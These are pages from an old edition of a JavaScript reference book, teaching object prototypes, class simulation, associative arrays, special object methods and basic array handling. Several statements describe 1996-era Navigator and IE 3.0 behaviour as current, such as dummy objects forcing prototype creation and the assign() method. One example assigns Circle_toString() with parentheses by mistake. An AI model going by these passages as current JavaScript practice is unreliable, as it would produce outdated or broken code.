r.enlarge();
p = r.perimeter();

Previous | Home | Next
Creating New Objects with Constructors | Book Index | Object Prototypes
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 7] 7.4 Object Prototypes

JavaScript: The Definitive Guide

Previous Chapter 7
Objects 		Next

7.4 Object Prototypes

We've seen that a constructor function defines a "class" of objects in JavaScript--all objects created with a given constructor will be initialized in the same way and will therefore have the same set of properties. These properties may include methods, for (as we've also seen) you can use a constructor function to assign a set of methods to each object that is a member of the class.

In Navigator 3.0 and Internet Explorer 3.0, there is another way to specify the methods, constants, and other properties that all objects in a class will support. The technique is to define the methods and other properties in a prototype object for the class. A prototype object is a special object, associated with the constructor function for a class, that has a very important feature: any properties defined by the prototype object of a class will appear as properties of every object of that class. This is true of properties that are added to the prototype both before and after the objects are defined. The properties of the prototype object of a class are shared by all objects of that class (i.e., objects do not get their own unique copy of the prototype properties, so memory usage is minimal).

The properties of the prototype object for a class can be read through all objects of the class, and, although they appear to be, they are not actually properties of those objects. There is a single copy of each prototype property, and this copy is shared by all objects in the class. When you read one of these properties of an object, you are reading that shared value from the prototype object. When you set the value of one of these properties for a particular object, on the other hand, you are actually creating a new property for that one object. From that point on, for that one particular object, the newly created property "shadows," or hides, the shared property in the prototype object. Figure 7.1 illustrates how a private, non-shared property can shadow a shared prototype property.

Figure 7.1: Objects and prototypes

[Graphic: Figure 7-1]

Because prototype properties are shared by all objects of a class, it only generally makes sense to use them to define properties that will be the same for all objects within the class. This makes them ideal for defining methods. Other properties with constant values (such as mathematical constants) are also suitable for definition with prototype properties. If your class defines a property with a very commonly used default value, you might define this property, and the default value in a prototype object. Then the few objects that want to deviate from the default value can create their own private, unshared, copy of the property, defining their own nondefault property value.

After all this discussion of how prototype objects and their properties work, we can now discuss where you can find prototype properties, and how they are created. The prototype object defines methods and other constant properties for a class of objects; classes of objects are defined by a common constructor; therefore, the prototype object should be associated with the constructor function. This is indeed the case. If we were to define a Circle() constructor function to create objects that represent circles, then the prototype object for this class would be Circle.prototype, and we could define a constant that would be available to all Circle objects like this:

Circle.prototype.pi = 3.14159;

The prototype object of a constructor is created automatically by JavaScript. In Navigator, it is created the first time the constructor is used with the new operator. What this means is that you must create at least one object of a class before you can use the prototype object to assign methods and constants to objects of that class. So, if we have defined a Circle() constructor, but not yet used it to create any Circle objects, we'd define the constant property pi like this:

// First create and discard a dummy Circle object.
// All this does is force the prototype object to be created.
new Circle();
// Now we can set properties in the prototype
Circle.prototype.pi = 3.14159;
This requirement that an object be created before the prototype object is available is an unfortunate blemish in the JavaScript language design. If you forget to create an object before using the prototype you'll get an error message indicating that the prototype object does not have the property you are trying to set (i.e., the object does not exist). It is an annoyance, but a minor one. In Internet Explorer, it is not necessary to create a dummy object to force the prototype object to be created; IE provides a prototype object for all JavaScript functions, whether they are used as constructors or not.

Prototype objects and their properties can be quite confusing. Figure 7.1 illustrates several of the important prototype concepts; you should study it carefully. In addition to the figure, Example 7.4 is a concrete example of how you can use prototypes to help you define a class of objects. In this example, we've switched from our Rectangle class to a new Circle class. The code defines a Circle class of objects, by first defining a Circle() constructor method to initialize each individual object, and then by setting properties on Circle.prototype to define methods, constants, and defaults shared by all instances of the class.

Example 7.4: Defining a Class with a Prototype Object

// Define a constructor method for our class.
// Use it to initialize properties that will be different for
// each individual circle object.
function Circle(x, y, r)
{
    this.x = x;  // the X coordinate of the center of the  circle
    this.y = y;  // the Y coordinate of the center of the circle
    this.r = r;  // the radius of the circle
}
// Create and discard an initial Circle object.
// Doing this forces the prototype object to be created
new Circle(0,0,0);
// Now define a constant; a property that will be shared by
// all circle objects. Actually, we could just use Math.PI,
// but we do it this way for the sake of example.
Circle.prototype.pi = 3.14159;
// Now define some functions that perform computations on circles
// Note the use of the constant defined above
function Circle_circumference() { return 2 * this.pi * this.r; }
function Circle_area() { return this.pi * this.r * this.r; }
// Make these functions into methods of all Circle objects by
// setting them as properties of the prototype object.
Circle.prototype.circumference = Circle_circumference;
Circle.prototype.area = Circle_area;
// Now define a default property. Most Circle objects will share this
// default value, but some may override it by setting creating their
// own unshared copy of the property.
Circle.prototype.url = "images/default_circle.gif";
// Now, create a circle object, and use the methods defined
// by the prototype object
c = new Circle(0.0, 0.0, 1.0);
a = c.area();
p = c.circumference();

An important point to note about prototypes is that in Navigator 3.0, you can use them with built-in object types, not just those that you define yourself. For example, if you wrote a function that operated on a string object, you could assign it as a method to String.prototype, and make it accessible as a method of all JavaScript strings. This technique does not work in Internet Explorer 3.0. IE 3.0 does not support the prototypes for Boolean and Number objects, and the properties of String.prototype are only available to actual String objects, not primitive string values, as they are in Navigator. These shortcomings will be fixed in a future version of IE.

Finally, a couple of points to remember about prototypes are that they are not available in Navigator 2.0, and that prototype properties are shared by all objects of a given class, regardless of whether the prototype property is defined before or after any given object is created.

Previous | Home | Next
Methods | Book Index | Classes in JavaScript
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 7] 7.5 Classes in JavaScript

JavaScript: The Definitive Guide

Previous Chapter 7
Objects 		Next

7.5 Classes in JavaScript

Although JavaScript supports a data type we call an "object", the language's lack of strong typing and a formal inheritance mechanism mean that it is not a truly object-oriented language. Still, JavaScript does a good job of simulating the features of object-oriented languages like Java and C++. For example, we've been using the term "class" in the last few sections of this chapter, despite the fact that JavaScript does not officially define or support classes. This section will explore some of the parallels between JavaScript and the true object-oriented features of Java and C++.

We start by defining some basic terminology. An object, as we've already seen, is a data structure that "contains" various pieces of named data, and may also contain various methods to operate on those pieces of data. An object groups related data values and methods into a single convenient package, which generally makes programming easier, by increasing the modularity and reusability of code. Objects in JavaScript may have any number of properties, and properties may be added to an object dynamically. This is not the case in strictly typed languages like Java and C++--in those languages, each object has a predefined set of properties, (or fields, as they are often called) and each property contains a value of a predefined type. So when we are using JavaScript objects to simulate object-oriented programming techniques, we will generally define in advance the set of properties that each object will have, and the type of data that each property will hold.

In Java and C++, a class is thing that defines the structure of an object. It is the class that specifies exactly what fields an object contains, and what types of data each holds. It is also the class that defines the methods that operate on an object. JavaScript does not have a formal notion of a class, but, as we've seen, it approximates classes with its constructors. A constructor function can create a standard set of properties for each object it initializes. Similarly, in Navigator 3.0, the prototype object associated with the constructor can define the methods and constants that will be shared by each object initialized by the constructor.

In both JavaScript and true object-oriented languages, there may be multiple objects of the same class. We often say that an object is an instance of its class. Thus, there may be many instances of any class. Sometimes we use the term instantiate to describe the process of creating an object (an instance of a class).

In Java, it is a common programming convention to name classes with an initial capital letter, and to name objects with lower case letters. This helps to keep classes and objects distinct from each other in our code, and this is a useful convention to follow in JavaScript programming as well. In previous sections, for example, we've defined the Circle and Rectangle "classes," for example, and have created instances of those classes named c and rect.

The fields defined by a Java class may be of four basic types: "instance" variables, "instance" methods, "static" or "class" variables, and "static" or "class" methods. The paragraphs below explain the differences between these types of fields, and show how they are simulated in JavaScript.

An "instance variable" is a variable of an instance, or object. It is a variable contained in an object. Each object has its own separate copy of this variable; if there are ten objects of a given class, then there are ten copies of this variable. In our Circle class, for example, every circle object has a r property that specifies the radius of the circle. In this case r is an instance variable. Since each object has its own copy of instance variables, these variables are accessed through individual objects. If c is an object that is an instance of the Circle class, for example, then we refer to its radius as:

c.r
By default, any object property in JavaScript is an instance variable, but to truly simulate object-oriented programming, we will say that instance variables in JavaScript are those properties that are created and/or initialize in an object by the constructor function.

An "instance method" is much like an "instance variable" except that it is a method rather than a data value. (In Java, functions and methods are not data types, as they are in JavaScript, so this distinction is more clear). Instance methods are invoked on a particular "instance" or object. The area() method of our Circle class is an instance method. It is invoked on a Circle object c like this:

a = c.area();
Instance methods use the this keyword to refer to the object or instance they are operating on. An instance method can be invoked for any instance of a class, but this does not mean that each object contains its own private copy of the method, as it does its instance variables. Instead, each instance method is shared by all instances of a class. In JavaScript, we define an instance method for a class by setting a property in the constructor's prototype object to a function value. This way, all objects created by that constructor share a reference to the function, and can invoke it using the method invocation syntax shown above. (Prior to Navigator 3.0, instance methods can be defined in a constructor function, as instance variables are; this is less efficient, though.)

A "class" or "static" variable in Java is a variable that is associated with a class itself, rather than with each instance of a class. No matter how many instances of the class are created, there is only one copy of each class variable. Just as instance variables are accessed through an instance of a class, class variables are accessed through the class itself. Number.MAX_VALUE is an example of a class variable in JavaScript--the MAX_VALUE property is accessed through the Number class. Because there is only one copy of each class variable, class variables are essentially global variables. What is nice about them, however, is that by being associated with a class, they have a logical niche, a position in the JavaScript name space, where they are not likely to be overwritten by other variables with the same name. As is probably clear, we simulate a class variable in JavaScript simply by defining a property of the constructor function itself. For example, to create a class variable Circle.PI to store the mathematical constant, often used with circles, we could do the following:

Circle.PI = 3.14;

Finally, we come to class methods. A "class" or "static" method is a method associated with a class rather than with an instance of a class. Class methods are invoked through the class, rather than through a particular instance of the class. Math.sqrt(), Math.sin(), and other methods of the Math object are class methods. Because class methods are not invoked through a particular object, they cannot use the this keyword--this refers to the object that an instance method is invoked for. Like class variables, class methods are "global." Because they do not operate on a particular object, static methods can often more easily be thought of as functions that happen to be invoked through a class. Again, associating these functions with a class gives them a convenient niche in the JavaScript name space, and prevents "name space collisions" from occurring in case some other class happens to define a function with the same name. To define a class method in JavaScript, we simply set the appropriate function as a property of the constructor.

Example 7.5 is a re-implementation of our Circle class that contains examples of each of these four basic types of fields.

Example 7.5: Defining Instance/Class Variables and Methods

function Circle(radius) {   // the constructor defines the class itself
    // r is an instance variable; defined and initialized in the constructor
    this.r = radius;
}
// Circle.PI is a class variable--it is a property of the constructor function
Circle.PI = 3.14159;
// Here is a function that computes a circle area.
function Circle_area() { return Circle.PI * this.r * this.r; }
// Here we make the function into an instance method by assigning it
// to the prototype object of the constructor. Remember that we have to
// create and discard one object before the prototype object exists
new Circle(0);
Circle.prototype.area = Circle_area;
// Here's another function. It takes two circle objects are arguments and
// returns the one that is larger (has the larger radius).
function Circle_max(a,b) {
    if (a.r > b.r) return a;
    else return b;
}
// Since this function compares two circle objects, it doesn't make sense as
// an instance method operating on a single circle object. But we don't want
// it to be a standalone function either, so we make it into a class method
// by assigning it to the constructor function:
Circle.max = Circle_max;
// Here is some code that uses each of these fields:
c = new Circle(1.0);       // create an instance of the Circle class
c.r = 2.2;                 // set the r instance variable
a = c.area();              // invoke the area() instance method
x = Math.exp(Circle.PI);   // use the PI class variable in our own computation.
d = new Circle(1.2);       // create another Circle instance
bigger = Circle.max(c,d);  // use the max() class method.

Previous | Home | Next
Object Prototypes | Book Index | Objects as Associative Arrays
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 7] 7.6 Objects as Associative Arrays

JavaScript: The Definitive Guide

Previous Chapter 7
Objects 		Next

7.6 Objects as Associative Arrays

We've seen the . operator used to access the properties of an object. It is also possible to use the [] operator, more commonly used with arrays, to access these properties. Thus, the following two JavaScript expressions have the same value:

object.property
object["property"]
The important difference to note between these two syntaxes is that in the first, the property name is an identifier, and in the second, the property name is a string. We'll see why this is so important below.

In C, C++, Java, and similar strongly typed languages an object can have only a fixed number of properties (or "fields," as they're often called), and the names of these properties must be defined in advance. Since JavaScript is a loosely typed language, this rule does not apply--a program can create any number of properties in any object. When you use the . operator to access a property of an object, however, the name of the property is expressed as an identifier, and identifiers must be "hardcoded" into your JavaScript program. That is, identifiers are not a JavaScript data type; they must be typed literally into a JavaScript program, and cannot be manipulated by the program.

On the other hand, when you access a property of an object with the [] array notation, the name of the property is expressed as a string. Strings are JavaScript data types, and they can be manipulated and created while a program is running. So, for example, you could write the following code in JavaScript:

var addr = "";
for(i = 0; i < 4; i++) {
    addr += customer["address" + i]
}
This code fragment reads and concatenates the properties address0, address1, address2, and address3 of the customer object.

The code fragment above demonstrates the flexibility of using array notation to access properties of an object with string expressions. We could have actually written that example using the . notation, but there are cases for which only the array notation will do. Suppose, for example, that you are writing a program that uses network resources to compute the current value of the user's stock market investments. The program allows the user to type in the name of each stock they own, and also the number of shares of each stock. You might use an object named portfolio to hold this information. The object would have one property for each stock; the name of the property would be the name of the stock, and the property value would be the number of shares of that stock. So, for example, if a user held 50 shares of stock in Netscape Communications Corp., then the portfolio.nscp property would have the value 50.

One part of this program would be a loop that prompts the user to enter the name of a stock they own, and then asks them to enter the number of shares they own of that stock. Inside the loop, you'd have code something like the following:

stock_name = get_stock_name_from_user();
shares = get_number_of_shares();
portfolio[stock_name] = shares;
Since the user enters stock names at run-time, there is no way that you can know the property names ahead of time. Since you can't know the property names when you write the program, there is no way you can use the . operator to access the properties of the portfolio object. You can use the [] operator, however, because it uses a string value (which is dynamic and can change at run-time), rather than an identifier (which static and must be hard-coded in the program), to name the property.

When an object is used this fashion, it is often called an associative array--a data structure that allows you to dynamically associate arbitrary data values with arbitrary strings. JavaScript objects are actually implemented internally as associative arrays. The . notation for accessing properties makes them seem like the static objects of C++ and Java, and they work perfectly well in that capacity. But they also have the very powerful ability to associate values with arbitrary strings. In this respect, JavaScript objects are much more like Perl arrays than like C++ or Java objects.

Chapter 5, Statements, introduced the for/in loop. The real power of this JavaScript statement becomes clear when we consider its use with an associative array. To return to the stock portfolio example, we might use code that looked like the following after the user had entered her portfolio and we were computing its current total value:

value = 0;
for (stock_name in portfolio) {  // for each stock in the portfolio
    // get the per share value and multiply it by the number of shares
    value += get_share_value(stock_name) * portfolio[stock_name];
}
We couldn't write this code without the for/in loop, because the names of the stocks aren't known in advance, and this is the only way to extract those property names from the associative array (i.e., JavaScript object) named portfolio.

Previous | Home | Next
Classes in JavaScript | Book Index | Special Object Methods
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 7] 7.7 Special Object Methods

JavaScript: The Definitive Guide

Previous Chapter 7
Objects 		Next

7.7 Special Object Methods

For any object in JavaScript, there are three special methods that control the way the object is manipulated. Each of these methods is automatically invoked by JavaScript to manipulate the object in some way. By providing a custom definition of the method, you can control the way an object is manipulated. The methods are toString(), which is invoked to convert the object to a string, valueOf(), which is invoked to convert the object to a number or other nonobject type, and assign(), which is invoked to assign a value to the object. These three methods are detailed in the sections below.

The toString() Method

The toString() method takes no arguments and returns a string, which should somehow represent the type and/or value of the object referred to by this. JavaScript invokes this method whenever it needs to convert an object to a string. This occurs, for example, when you use the + operator to concatenate a string with an object, or when you pass an object to a method like document.write(). The default toString() method for user-defined objects is not very informative. For example, the following lines of code simply cause the browser to display the string "[object Object]":

c = new Circle(1, 0, 0);
document.write(c);

You can define your own toString() method so that your objects can be converted to more meaningful strings that contain more information about the object being converted. This is very useful when debugging programs, and if the string conversions are chosen carefully, it can also be useful in the programs themselves.

The toString() method is an excellent candidate, of course, for inclusion in a prototype object when defining a class of JavaScript objects. We might write and register a toString() method for our Circle class as follows:

function Circle_toString()
{
    return "[Circle of radius " + this.r + ", centered at ("
           + this.x + ", " + this.y + ").]";
}
Circle.prototype.toString = Circle_toString();
With this toString() method defined, a typical Circle object might be converted to "[Circle of radius 1, centered at (0,0).]".

The valueOf() Method

The valueOf() method is much like the toString() method, but is called when JavaScript needs to convert an object to some type other than an object or a string, typically a number. It takes no arguments, and should return a number, Boolean, or function that somehow represents the "value" of the object referred to by the this keyword.

Most objects are more complicated than number or Boolean values, and so the valueOf() method is not often used. In fact, its main purpose is for use with the Number, Boolean, and Function objects, for which it returns the corresponding number, Boolean, or function value. For most objects, the default valueOf() method simply returns the object itself; this is a way of indicating that the object could not be converted to any nonobject type. You may occasionally find circumstances in which you can meaningfully convert an object to a primitive type, and in these cases, you may want to provide a custom definition of the valueOf() method.

Suppose, for example, that you define a class of Complex objects that represent complex numbers. This class will define methods for arithmetic on complex numbers, but you'd still like to be able to use your Complex objects with the regular arithmetic operators, as if they were real numbers. You might do so with code like that shown in Example 7.6.

Example 7.6: Defining and Using the valueOf() Method

function Complex(x,y) {
    this.x = x;   // real part of complex number
    this.y = y;   // imaginary part of complex number
}
// force the prototype object to be created
new Complex(0,0);
// define some methods
Complex.prototype.valueOf = new Function("return this.x");
Complex.prototype.toString = new Function("return '{'+this.x+','+this.y+'}'");
// create new complex number object
c = new Complex(4,1);
// Now rely on the valueOf() operator to treat it like a real number.
// Note that this wouldn't work with the + operator--that would convert
// the object to a string and do string concatenation.
x = c * 2;          // x = 8
x = Math.sqrt(c);   // x = 2

The assign() Method

The assign() method is a new feature of Navigator 3.0, and supports a kind of C++-style "operator overloading" for the = operator. The assign() method of an object is invoked when that object appears on the left-hand side of an assignment operator. It is passed one argument, which is the value on the right-hand side of the operator. The purpose of the method is in some fashion to assign the value passed as an argument to the object referred to by the this keyword. The default version of this method simply performs an assignment, replacing the object on the left-hand side of the operator with the new value from the right-hand side. You would define a custom assign() method when you want the assignment to behave differently.

One use of the assign() method is to implement an assignment with side effects. Client-side JavaScript does this with the Location object stored in the Window.location property. When a string containing a URL is assigned to this Location object, two things happen. First, the URL is parsed, and its various components are assigned to the properties of the Location object. And second, and more importantly, the web browser reads the contents of the new URL and displays them. This all occurs as the side effect of an assignment, and is implemented with a custom assign() method.

Another use of the assign() method is to make objects read-only. If you define an assign method that does nothing, then no one will be able to change the value of the variable that holds your object. For example:

// give an object an empty assign() method
function no_op() { /* do nothing */ }
o = new Object();
o.assign = no_op;
// Now, no one can overwrite o. It will always contain the object we created.
o = 3;           // has no effect
o = new Date();  // has no effect
// Note, though that we can assign properties to o:
o.x = 3;         // this works fine
This technique can be extended to print issue a warning if any attempt is made to overwrite the object. You might do it with an assign() method defined like this:

function warn_on_assign(value) {
    alert('Attempt to set a read-only variable to:\n' + value);
}
ReadOnlyClass.prototype.assign = warn_on_assign;

Finally, the assign() method can be used to change the very way that assignment is done. Objects are usually assigned "by reference". That is, when one object is assigned to another, the contents of the object are not copied; instead, a reference to the new object merely overwrites a reference to the old. (The concept of assignment "by reference" is explained in detail in Chapter 9, Further Topics in JavaScript.) If you want the contents of an object to be copied when you assign one to another, you can do so with an assign() method like the following:

function assign_properties(value)
{
    // if the value is an object, copy it property by property
    // otherwise, do nothing and leave the variable unchanged.
    if (typeof value == "object")
        for (prop in value) this[prop] = value[prop];
}
MyClass.prototype.assign = assign_properties;

The assign() method is one of the most obscure and least elegant features of JavaScript. The JavaScript developers at Microsoft did not support it in Internet Explorer 3.0, and don't plan to support it in future versions of the language either. Even the JavaScript designers at Netscape aren't happy with assign(); they are thinking about providing similar functionality through a cleaner, more general mechanism in a future version of JavaScript. For these reasons, the assign() method may be one of the least portable features of JavaScript, and you should think twice before writing code that relies upon it.

Previous | Home | Next
Objects as Associative Arrays | Book Index | Arrays
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 8] Arrays

JavaScript: The Definitive Guide

Previous Chapter 8 Next

8. Arrays

Contents:
Array Elements
Multidimensional Arrays
Array/Object Dual Nature
Creating Arrays
Array Length Property
Array Methods
Arrays in Navigator 2.0
Built-in Arrays
Array Summary

The last chapter documented the JavaScript object type--a data structure that contain named pieces of data. This chapter documents the array type--a data structure that contains numbered pieces of data. Note that the arrays we'll be discussing in this chapter are not the same thing as the "associative arrays" described the previous chapter, although, as we'll see, there is not as much difference among associative arrays, the "regular" arrays described here, and objects as it might first appear.

8.1 Array Elements

An array is a data type that contains or stores numbered pieces of data. Each numbered datum is called an element of the array, and the number assigned to an element is called its index. Because JavaScript is an untyped language, an element of an array may be of any type, and different elements of the same array may be of different types. Array elements may even contain other arrays, which allows you to create data structures that are arrays of arrays.

Reading and Writing Array Elements

You access an element of an array using the [] operator. A reference to the array should appear to the left of the brackets. Inside the brackets should appear an arbitrary expression that has a non-negative integer value. You can use this syntax to both read and write the value of an element of an array. Thus, the following are all legal JavaScript:

value = a[0];
a[1] = 3.14;
i = 2;
a[i] = 3;
a[i + 1] = "hello";
a[a[i]] = a[0];
In some languages, the first element of an array is at index 1. In JavaScript, as well as C, C++, and Java, however, the first element of an array is at index 0.[1]

[1] Although, as we'll see later, index 0 is often not used in the Navigator 2.0 version of JavaScript.

Adding New Elements to an Array

In languages like C and Java, arrays have a fixed number of elements that must be specified when you create the array. This is not the case in JavaScript--arrays can have any number of elements, and you can change the number of elements at any time.

To add a new element to an array, simply assign a value to it:

a[10] = 10;

Arrays in JavaScript are sparse. This means that array indexes need not fall into a contiguous range of numbers, and that memory is allocated only for those array elements that are actually stored in the array. Thus, when you execute the following lines of code, JavaScript allocates memory only for array indexes 0 and 10,000, not for the 9,999 indexes between.

a[0] = 1;
a[10000] = "this is element 10,000";

Removing Elements from an Array

Once an element of an array has been defined, you can set its value to null or anything else, but there is no way to actually undefine that element, short of actually truncating the array, which (as we'll see later in the chapter) is possible in Navigator 3.0.

The Select.options[] array is an exception to this rule. It represents HTML elements in client-side JavaScript and has special behavior in Navigator 3.0, including the ability to delete individual elements. See the entry in the reference section of this book for more.

Previous | Home | Next
Special Object Methods | Book Index | Multidimensional Arrays
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 8] 8.2 Multidimensional Arrays

JavaScript: The Definitive Guide

Previous Chapter 8
Arrays 		Next

8.2 Multidimensional Arrays

JavaScript does not support true multidimensional arrays, but it does allow you to approximate them quite nicely with arrays of arrays. To access a data element in an array of arrays, simply use the [] operator twice. For example, suppose the variable matrix is an array of arrays of numbers. Every element matrix[x] is an array of numbers. To access a particular number within this array you would write matrix[x][y].

Instead of using arrays of arrays, you can also use associative arrays to simulate multidimensional arrays. Because an associative array allows an arbitrary string as its index, it is easy to use them to simulate multidimensional arrays--i.e., to look up a value based on more than one index. You could use the following function, for example, to simulate reading a value from a three-dimensional array:

function index3(arr, x, y, z)
{
    return arr[x + "," + y + "," + z];
}

This example works because it combines the x, y, and z index values into a single, unique string that acts as a property name in the associative array (or object).

Previous | Home | Next
Array Elements | Book Index | Array/Object Dual Nature
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 8] 8.3 Array/Object Dual Nature

JavaScript: The Definitive Guide

Previous Chapter 8
Arrays 		Next

8.3 Array/Object Dual Nature

Throughout this book, we've been treating objects and arrays as if they were separate data types. This is a useful and reasonable simplification, and you can treat them as separate data types for most of your JavaScript programming. To fully understand the behavior of objects and arrays, however, you have to know the truth: objects and arrays are the same thing.

You can verify this with the typeof operator--use it with any array or with any object, and it returns the string "object". Because arrays and objects are the same thing, any object can have numerically indexed array elements, and any array can have named properties:

o.prop = "property1"
o[1] = "element1"
a[3] = a[2] + a[1];
a.size = 3;

Note, however, that because of the ways arrays and objects are implemented in Navigator 2.0, there are some nonobvious consequences of mixing properties and elements that you must beware of. These, and other features of arrays in Navigator 2.0, are discussed later in this chapter.

Previous | Home | Next
Multidimensional Arrays | Book Index | Creating Arrays
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 8] 8.4 Creating Arrays

JavaScript: The Definitive Guide

Previous Chapter 8
Arrays 		Next

8.4 Creating Arrays

Since arrays are the same thing as objects, they can be created in exactly the same way as objects are with the new operator:

a = new Object();
a[0] = 1;
a[1] = 2;
  ... etc ...

Just as you write custom constructor methods to perform initialization on newly created objects, you can also write your own custom array constructor functions as shortcuts for array initialization. Example 8.1 shows a constructor that creates an array, initializes a size property of the array, and then initializes size elements (starting at 1, rather than 0) to a value of 0. This is useful when you want to know exactly how many elements your array contains, and want to be sure that all elements have a defined value.

Example 8.1: An Array Constructor

// The constructor function
function EmptyArray(length)
{
    this.size = length;
    for(var i = 1; i <= length; i++)
        this[i] = 0;
}
// Using the constructor
a = new EmptyArray(32);

In Navigator 3.0 and Internet Explorer 3.0, there is a predefined Array() constructor function that you can use to create arrays. You can use this constructor in three distinct ways. The first is to call it with no arguments:

a = new Array();
This method creates an empty array with no elements. It is like calling new Object(), except that it gives the newly created object (i.e., an array) a length property set to 0.

The second technique is to call the Array() constructor with a single argument, which specifies a length:

a = new Array(10);
This technique creates an empty array as well, but it sets the length property of the array to the value specified.

The final technique allows you to specify values for the first n elements of an array:

a = new Array(5, 4, 3, 2, 1, "testing, testing");
In this form, the constructor is passed two or more arguments. Each argument specifies an element value and may be of any type. Elements are assigned to the array starting with element 0. The length property of the array is set to the number of arguments that were passed to the constructor.

Remember that the Array() constructor is available only in Navigator 3.0 and later. In 2.0, you must write your own array constructor functions. And, of course, in either 2.0 or 3.0, you can use any object, no matter how you create it, as an array. Bear in mind, though, that there are some significant differences (which we'll explore later) between arrays in Navigator 2.0 and Navigator 3.0, and you must carefully take these into account when backward compatibility with Navigator 2.0 is required.

Previous | Home | Next
Array/Object Dual Nature | Book Index | Array Length Property
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 8] 8.5 Array Length Property

JavaScript: The Definitive Guide

Previous Chapter 8
Arrays 		Next

8.5 Array Length Property

As we saw in the previous section, the Array() constructor method automatically initializes a length property for the array you create. When you create an array with this constructor (available only in Navigator 3.0 and later) this length property is automatically updated by JavaScript so that it is always one greater than the largest element number in the array. The following code illustrates this:

a = new Array();       // a.length == 0  (no elements defined)
a = new Array(10);     // a.length == 10 (empty elements 0-9 defined)
a = new Array(1,2,3);  // a.length == 3  (elements 0-2 defined)
a[5] = -1;             // a.length == 6  (elements 0,1,2, and 5 defined)
a[49] = 0;             // a.length == 50 (elements 0,1,2,5, and 49 defined)

The length property of a Navigator 3.0 array is not read-only. You can set length to a value smaller than its current value; the array will then be shortened to the new length--elements will be truncated from the end of the array, and their values will be lost. If you change the length property so that it is larger than its current value, the array will be made larger--new, undefined, elements will be added at the end to increase it to the newly specified size.

We've said that arrays are the same data type as objects are, and that any object can have array elements. This is true, but in Navigator 3.0, arrays created with the Array() constructor have features that other objects do not have. One of these features is the length property. If you create an object with the Object() constructor (or a constructor you define yourself) you can assign array elements to that object, but that object will not have the special length property described in this section.

Because the Array() constructor and the array length property are not available in Navigator 2.0, JavaScript programs written for Navigator 2.0 often define custom array constructor functions that attempt to simulate the length property. (To avoid confusion with the "real" length property of arrays in 3.0, I prefer to name the property size in 2.0.) We saw such an array constructor in Example 8.1, and will learn more about arrays in Navigator 2.0 later in this chapter.

The length Property and Sparse Arrays

But what is the point of the length property to begin with? One obvious feature is that it allows you to loop through the elements of an array:

sum = 0;
for(var i = 0; i < arr.length; i++)
    sum += arr[i];

This technique only works, of course, if the array in question has contiguous elements defined for each index between 0 and length-1. Since arrays in JavaScript are associative, sparse arrays, array elements do not have to be defined in contiguous blocks, like they do in C and related languages. For example, consider the code we saw above:

a = new Array();
a[5] = -1;
a[49] = 0;

These lines of code define an array with two elements, one with index 5 and one with index 49. There are not any elements defined at indexes 0 through 4 and 6 through 48. An array like this with non-contiguous elements is sometimes called a "sparse" array. By contrast, an array with contiguous elements is sometimes called a "dense" array.[2]

[2] Note though that the terms "sparse" and "dense" may also refer to the underlying implementation of the array, rather than to how you use it. JavaScript's arrays are implemented as sparse arrays, regardless of how you use them in any particular case.

When you are programming in JavaScript, you will typically use dense arrays with contiguous elements, if for no other reason than that you probably learned to program with languages that did not directly support sparse arrays.

Previous | Home | Next
Creating Arrays | Book Index | Array Methods
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 8] 8.6 Array Methods

JavaScript: The Definitive Guide

Previous Chapter 8
Arrays 		Next

8.6 Array Methods

In the previous section we saw that--in Navigator 3.0 and Internet Explorer 3.0--arrays created with the Array() constructor have a length property. In Navigator 3.0, but not in IE 3.0, these arrays also support three methods that can be used to manipulate the array elements. These methods will be implemented in a future version of IE.

The Array.join() method converts all the elements of the array to a string, and concatenates them, separating them with an optionally specified string passed as an argument to the method. If no separator string is specified, then a comma is used. For example, the following lines of code produce the string "1,2,3":

a = new Array(1,2,3);  // Create a new array with these three elements.
s = a.join();          // s == "1,2,3"
And the following lines specify the optional separator to produce a slightly different result:

a = new Array(1,2,3);
s = a.join(", ");   // s == "1, 2, 3". Note the space after the comma.
In some ways, the Array.join() method is the reverse of the String.split() method which creates an array by breaking a string up into pieces.

The Array.reverse() method reverses the order of the elements of an array. It does this "in place"--i.e., it doesn't create a new array with the elements rearranged, but instead rearranges them in the already existing array. For example, the following code, which uses the reverse() and the join() methods, produces the string "3,2,1":

a = new Array(1,2,3);   // a[0] = 1; a[1] = 2; a[2] = 3;
a.reverse();            // now a[0] = 3; a[1] = 2; a[2] = 1;
s = a.join()            // s = "3,2,1"

The final array method is Array.sort(), which sorts the elements of an array. Like the reverse() method, it does this "in place". When sort() is called with no arguments, it sorts the array elements in alphabetical order (temporarily converting them to strings, to perform the comparison, if necessary):

a = new Array("banana", "cherry", "apple");
a.sort();
s = a.join(", ");   // s == "apple, banana, cherry".
You can also pass an argument to the sort() method if you want to sort the array elements in some other order. To allow this method to be a fully general sorting algorithm, the optional argument should be a function. This function will be passed two arguments that it should compare. If the first argument should appear before the second in the sorted array, then the function should return a number less than zero. If the first argument should appear after the second in the sorted array, then the function should return a number greater than zero. And if the two values are equivalent (their order is irrelevant), then the function should return 0. So, for example, to sort array elements into numerical, rather than alphabetical order, you might do the following:

a = new Array(33, 4, 1111, 222);
a.sort();                        // alphabetical order:  1111, 222, 33, 4
function numberorder(a,b) {
    return a-b;
}
a.sort(numberorder);             // numerical order: 4, 33, 222, 1111
You can probably think of other comparison functions that will sort numbers into various esoteric orders: reverse numerical order, odd numbers before even numbers, etc. The possibilities become more interesting, of course, when the elements you are comparing are objects rather than simple types like numbers or strings.

Previous | Home | Next
Array Length Property | Book Index | Arrays in Navigator 2.0
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


